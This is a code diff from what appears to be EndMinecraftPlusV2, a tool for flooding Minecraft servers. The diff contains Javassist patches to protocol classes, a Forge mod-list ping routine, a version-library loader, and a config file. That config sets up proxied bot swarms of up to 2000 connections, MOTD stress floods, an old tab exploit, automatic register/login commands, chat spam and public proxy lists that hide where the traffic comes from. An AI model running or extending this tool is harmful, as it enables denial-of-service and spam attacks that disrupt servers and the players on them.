+                CtMethod method1 = ctClass.getDeclaredMethod("key");
+                method1.addCatch("{return null;}", classPool.get("java.lang.Exception"));
+                CtMethod method2 = ctClass.getDeclaredMethod("value");
+                method2.addCatch("{return null;}", classPool.get("java.lang.Exception"));
+                ctClass.toClass();
+            }
+            return true;
+        } catch (Exception e) {
+            return false;
+        }
+    }
+
+    public static void injectPluginMessage() throws Exception {
+        ClassPool classPool = ClassPool.getDefault();
+        CtClass ctClass = classPool.get("org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket");
+        CtMethod method = ctClass.getDeclaredMethod("read");
+        method.setBody("{this.channel=$1.readString();\n"
+                + "this.data=$1.readBytes(luohuayu.MCForgeProtocol.MCForgeUtils.readVarShort($1));}");
+        ctClass.toClass();
+    }
+
+    public static void injectTryCatch(String cls, String func, String code) throws Exception {
+        ClassPool classPool = ClassPool.getDefault();
+        CtClass ctClass = classPool.get(cls);
+        CtMethod method = ctClass.getDeclaredMethod(func);
+        method.addCatch(code, classPool.get("java.lang.Exception"));
+        ctClass.toClass();
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeMOTD.java

@@ -0,0 +1,141 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
+
+import com.google.gson.Gson;
+
+import java.io.ByteArrayOutputStream;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.util.HashMap;
+import java.util.Map;
+
+public class MCForgeMOTD {
+    public Map<String, String> pingGetModsList(String ip, int port, int version) {
+        Map<String, String> modList = new HashMap<String, String>();
+        Socket socket = new Socket();
+        try {
+            socket.connect(new InetSocketAddress(ip, port));
+            if(socket.isConnected()) {
+                DataOutputStream out = new DataOutputStream(socket.getOutputStream());
+
+                ByteArrayOutputStream packet = new ByteArrayOutputStream();
+                DataOutputStream packetOut = new DataOutputStream(packet);
+
+                packetOut.writeByte(0); // handshake packet id
+                writeVarInt(packetOut, version); // version
+                writeVarInt(packetOut, ip.length()); // host length
+                packetOut.writeBytes(ip); // host
+                packetOut.writeShort(port); // port
+                writeVarInt(packetOut, 1); // next to status
+
+                writeVarInt(out, packet.size()); // packet length
+                out.write(packet.toByteArray()); // handshake packet
+
+                out.writeByte(1); // packet length
+                out.writeByte(0); // status packet id
+
+                out.flush();
+
+                DataInputStream in = new DataInputStream(socket.getInputStream());
+                readVarInt(in); // packet length
+                int packetID = readVarInt(in);
+                int dataLength = readVarInt(in);
+
+                if (packetID == 0 && dataLength > 0) { // Response
+                    byte[] responseData = new byte[dataLength];
+                    in.readFully(responseData);
+                    Response response = new Gson().fromJson(new String(responseData), Response.class);
+                    if (response.modinfo != null) {
+                        for (Response.ModInfo.ModID modid : response.modinfo.modList) {
+                            modList.put(modid.modid, modid.version);
+                        }
+                    }
+                }
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+            try {
+                if (socket.isConnected())
+                    socket.close();
+            } catch (IOException e1) {}
+        }
+        return modList;
+    }
+
+    /**
+     * @author thinkofdeath
+     * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
+     */
+    public int readVarInt(DataInputStream in) throws IOException {
+        int i = 0;
+        int j = 0;
+        while (true) {
+            int k = in.readByte();
+
+            i |= (k & 0x7F) << j++ * 7;
+
+            if (j > 5)
+                throw new RuntimeException("VarInt too big");
+
+            if ((k & 0x80) != 128)
+                break;
+        }
+
+        return i;
+    }
+
+    /**
+     * @throws IOException
+     * @author thinkofdeath
+     * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
+     */
+    public void writeVarInt(DataOutputStream out, int paramInt) throws IOException {
+        while (true) {
+            if ((paramInt & 0xFFFFFF80) == 0) {
+                out.writeByte(paramInt);
+                return;
+            }
+
+            out.writeByte(paramInt & 0x7F | 0x80);
+            paramInt >>>= 7;
+        }
+    }
+
+    class Response {
+        public Object description;
+        public Players players;
+        public Version version;
+        public ModInfo modinfo;
+
+        class Description {
+            public String text;
+            public String translate;
+
+            public String getDescription() {
+                return text != null ? text : translate;
+            }
+        }
+
+        class Players {
+            public int max;
+            public int online;
+        }
+
+        class Version {
+            public String name;
+            public int protocol;
+        }
+
+        class ModInfo {
+            public String type;
+            public ModID[] modList;
+
+            class ModID {
+                public String modid;
+                public String version;
+            }
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeUtils.java

@@ -0,0 +1,25 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
+
+import org.spacehq.packetlib.io.NetInput;
+
+import java.io.IOException;
+
+public class MCForgeUtils {
+    public static int readVarShort(NetInput in) throws IOException {
+        int low = in.readUnsignedShort();
+        int high = 0;
+        if ((low & 0x8000) != 0) {
+            low = low & 0x7FFF;
+            high = in.readUnsignedByte();
+        }
+        return ((high & 0xFF) << 15) | low;
+    }
+
+    public static UnknownPacket createUnknownPacket() {
+        try {
+            return UnknownPacket.class.newInstance();
+        } catch (Exception e) {
+            return null;
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/UnknownPacket.java

@@ -0,0 +1,20 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol;
+
+import org.spacehq.packetlib.io.NetInput;
+import org.spacehq.packetlib.io.NetOutput;
+import org.spacehq.packetlib.packet.Packet;
+
+import java.io.IOException;
+
+public class UnknownPacket implements Packet {
+    public boolean isPriority() {
+        return false;
+    }
+
+    public void read(NetInput in) throws IOException {
+        in.readBytes(in.available());
+    }
+
+    public void write(NetOutput out) {
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/ProtocolLibs.java

@@ -0,0 +1,119 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl;
+
+import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
+
+import java.io.File;
+import java.util.*;
+
+public class ProtocolLibs {
+    public static boolean highVersion = false;
+    public static void loadProtocolLib() {
+        LogUtil.doLog(0, "==========================================================", "ProtocolLib");
+        choseProtocolVer(scanProtocolLibs(), scanSupportLibs());
+    }
+
+    public static List<File> scanProtocolLibs() {
+        try {
+            Class.forName("javassist.CtClass");
+        } catch (ClassNotFoundException e) {
+            OtherUtils.loadLibrary(new File("libs", "javassist-3.22.0-CR2.jar"));
+        }
+
+        File libDir = new File("libs");
+        if (!libDir.exists()) {
+            libDir.mkdir();
+        }
+
+        List<File> versionLibs = new ArrayList<>();
+        for (File file: Objects.requireNonNull(libDir.listFiles())) {
+            if ((file.getName().startsWith("MC-") || file.getName().startsWith("MCP-")) && file.getName().endsWith(".jar"))
+                versionLibs.add(file);
+        }
+
+        Collections.sort(versionLibs);
+        return versionLibs;
+    }
+
+    public static List<File> scanSupportLibs() {
+        File libDir = new File("libs");
+        if (!libDir.exists()) {
+            libDir.mkdir();
+        }
+
+        List<File> supportLibs = new ArrayList<>();
+        for (File file: Objects.requireNonNull(libDir.listFiles())) {
+            if (file.getName().endsWith(".jar"))
+                supportLibs.add(file);
+        }
+
+        return supportLibs;
+    }
+
+    public static void choseProtocolVer(List<File> versionLibs, List<File> supportLibs) {
+        int dependency = -1;
+
+        for (int i = 0; i < versionLibs.size(); i++) {
+            String filename = versionLibs.get(i).getName();
+            StringBuilder info = new StringBuilder();
+
+            if (filename.contains("MC-")) {
+                info.append("(").append(i + 1).append(")").append(" ").append(filename, "MC-".length(), filename.length() - ".jar".length());
+            } else if (filename.contains("MCP-")) {
+                info.append("(").append(i + 1).append(")").append(" ").append(filename, "MCP-".length(), filename.length() - ".jar".length());
+            }
+
+            LogUtil.doLog(0, info.toString(), "ProtocolLib");
+        }
+
+        for (int i = 0; i < supportLibs.size(); i++) {
+            String filename = supportLibs.get(i).getName();
+
+            if (filename.contains("Dependency")) {
+                dependency = i;
+            }
+        }
+
+        LogUtil.doLog(-1, "请选择一个Minecraft协议库版本: ", "ProtocolLib");
+
+        try {
+            Scanner scanner = new Scanner(System.in);
+            int sel = Integer.parseInt(scanner.nextLine());
+            File versionLib = versionLibs.get(sel - 1);
+
+            if (versionLib.getName().contains("MCP")) {
+                highVersion = true;
+
+                if (dependency == -1) {
+                    LogUtil.emptyLog();
+                    LogUtil.doLog(1, "加载Minecraft协议库时发生错误!", null);
+                    LogUtil.doLog(0, "=========================错误排除=========================", "ProtocolLib");
+                    LogUtil.doLog(0, " 你选择了高于1.13.2的版本，但缺少必要支持库，", "ProtocolLib");
+                    LogUtil.doLog(0, " 请检查[libs]文件夹中，下列文件是否存在: ", "ProtocolLib");
+                    LogUtil.doLog(0, " (Dependency.jar)", "ProtocolLib");
+                    LogUtil.doLog(0, "==========================================================", "ProtocolLib");
+                    LogUtil.emptyLog();
+
+                    choseProtocolVer(scanProtocolLibs(), scanSupportLibs());
+                }
+
+                File dependencyFile = supportLibs.get(dependency);
+                OtherUtils.loadLibrary(dependencyFile);
+            }
+
+            OtherUtils.loadLibrary(versionLib);
+        } catch (Exception e) {
+            LogUtil.emptyLog();
+            LogUtil.doLog(1, "加载Minecraft协议库时发生错误! 详细信息:" + e, null);
+            LogUtil.doLog(0, "=========================错误排除=========================", "ProtocolLib");
+            LogUtil.doLog(0, " 1.检查/libs文件夹内依赖库是否完整", "ProtocolLib");
+            LogUtil.doLog(0, " 2.检查对应依赖库是否存在", "ProtocolLib");
+            LogUtil.doLog(0, "   (如[1.8]需要[MC-1.8.jar])", "ProtocolLib");
+            LogUtil.doLog(0, " 3.请输入正确的协议库序号(如10)", "ProtocolLib");
+            LogUtil.doLog(0, "==========================================================", "ProtocolLib");
+            LogUtil.emptyLog();
+
+            choseProtocolVer(scanProtocolLibs(), scanSupportLibs());
+        }
+    }
+}

src/config.yml

@@ -0,0 +1,68 @@
+##############################
+#  EndMinecraftPlusV2        #
+#    Forked by SerendipityR  #
+##############################
+
+AttackSettings:
+  Address: "example.com"
+  Port: 25565
+  # 攻击方式:
+  # 1 - BotAttack - 集群假人(代理)
+  # 2 - MotdAttackP - MOTD压测(代理)
+  # 3 - MotdAttack - MOTD压测(无代理)
+  # 4 - DoubleAttack - 影分身攻击(代理，仅原版单服可用)
+  Method: 1
+  Time: 3600
+  ConnectDelay: 250
+  # 实际连接数由代理质量和机器性能有关
+  # 进行无代理Motd压测时不建议大于32
+  MaxConnections: 2000
+  # 旧版漏洞利用，大概率无效
+  TabAttack: true
+  AntiAttackMode: true
+  DoubleExploitPlayer: "ImOldSix_666"
+  ShowFails: false
+
+BotSettings:
+  # 可用占位符:
+  # $rnd - 随机字符
+  # $pwd - 随机生成密码
+  BotName: "ImOldSix_$rnd"
+  BotCount: 1000
+  RejoinCount: 5
+  RejoinDelay: 2000
+  RejoinDetect:
+    - "AntiAttack"
+  ClickVerifiesDetect:
+    - "点击验证"
+  Register&Login: true
+  RegisterCommands:
+    - "/register $pwd $pwd"
+    - "/login $pwd"
+  ChatSpam: true
+  CustomChat:
+    - "喵喵喵萌喵~ $rnd"
+    - "喵喵喵萌~ $rnd"
+    - "喵喵喵~ $rnd"
+    - "喵喵~ $rnd"
+    - "喵~ $rnd"
+  ChatDelay: 3000
+
+Proxy:
+  # 代理获取方式:
+  # 1 - API - 从API获取
+  # 2 - File - 从本地读取
+  # 3 - File + API - 两种方式同时获取
+  GetType: 1
+  # 代理类型:
+  # 1 - HTTP/HTTPS
+  # 2 - SOCKS4/SOCKS5
+  ProxyType: 1
+  UpdateTime: 300
+  File: "proxies.txt"
+  APIs:
+    - "http://www.66ip.cn/mo.php?tqsl=9999"
+    - "https://www.89ip.cn/tqdl.html?api=1&num=9999"
+  # 保存能连接到目标服务器的代理地址 (如果支持)
+  # 位置: working-proxies.txt
+  SaveWorkingProxy: true

src/data.yml

@@ -0,0 +1,2 @@
+Data:
+  - ""